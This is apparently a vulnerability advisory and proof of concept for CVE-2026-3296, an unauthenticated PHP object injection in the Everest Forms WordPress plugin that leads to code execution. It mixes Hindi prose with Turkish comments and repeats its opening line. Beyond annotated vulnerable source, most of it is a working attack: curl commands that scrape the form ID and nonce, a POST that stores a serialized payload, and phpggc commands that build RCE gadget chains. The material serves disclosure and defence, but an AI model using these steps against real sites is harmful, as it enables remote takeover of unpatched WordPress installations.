
CVE-2026-3296, Everest Forms WordPress प्लगइन में एक CVSS 9.8 गंभीर, बिना प्रमाणीकरण वाली PHP Object Injection भेद्यता है।
CVE-2026-3296, Everest Forms WordPress प्लगइन में एक CVSS 9.8 क्रिटिकल, बिना प्रमाणीकरण वाली PHP Object Injection भेद्यता है।
प्लगइन: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder प्लगइन स्लग:
everest-formsCVE ID: CVE-2026-3296 CVSS स्कोर: 9.8 (क्रिटिकल) CVSS वेक्टर:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hभेद्यता प्रकार: बिना प्रमाणीकरण वाला PHP Object Injection → RCE प्रभावित संस्करण: <= 3.4.3 पैच किया गया संस्करण: 3.4.4 प्रकाशन तिथि: 7 अप्रैल 2026 शोधकर्ता: 0xsabre — Mobikwik / Wordfence
Everest Forms प्लगइन, फ़ॉर्म एंट्री मेटाडेटा को admin पैनल में
प्रदर्शित करते समय PHP के native unserialize() फ़ंक्शन को
allowed_classes पैरामीटर के बिना कॉल करता है।
एक बिना प्रमाणीकरण वाला हमलावर, किसी भी public फ़ॉर्म फ़ील्ड में
serialized PHP object payload डालकर उसे डेटाबेस में सहेज सकता है।
Admin पैनल से entry देखे जाने पर unserialize() ट्रिगर होता है
और वातावरण में मौजूद कोई भी POP gadget chain चल जाती है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-3296 |
| CVSS | 9.8 क्रिटिकल |
| प्रकार | PHP Object Injection (Deserialization of Untrusted Data) |
| प्रभावित संस्करण | <= 3.4.3 |
| पैच किया गया संस्करण | 3.4.4 |
| प्रमाणीकरण | आवश्यक नहीं (इंजेक्शन), Admin (ट्रिगर) |
| CWE | CWE-502: Deserialization of Untrusted Data |
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
यह payload sanitize_text_field() के बाद पूरी तरह संरक्षित रहता है:
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
return $entry; स्टेटमेंट foreach लूप के अंदर है
→ केवल पहला फ़ील्ड sanitize किया जाता है, बाकी फ़ील्ड कच्चे (raw) रहते हैं।
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Nonce CSRF सुरक्षा प्रदान करता है, प्रमाणीकरण नहीं। हमलावर फ़ॉर्म पेज को GET के साथ खोलकर nonce पढ़ता है, फिर POST के साथ payload भेजता है।
┌──────────────────────────────────────────────────────────────┐
│ FAZ 1 — ENJEKSIYON (Unauthenticated) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → serialization korunur │
│ ├── maybe_serialize() → string değişmez │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│ FAZ 2 — TETİKLEME (Admin Panel) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← ZAFIYET │
│ │ allowed_classes = (yok) → tüm sınıflar │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / File Write / Data Exfil │
└──────────────────────────────────────────────────────────────┘
⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
पूर्वापेक्षाएँ:
TARGET="https://target-site.example.com/contact/"
# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
वास्तविक वातावरण के लिए PHPGGC के साथ POP chain उत्पन्न करें:
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
अपेक्षित: फ़ॉर्म सफलता संदेश या रीडायरेक्ट।
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# O:8:"stdClass":2:{...} satırı görünmeli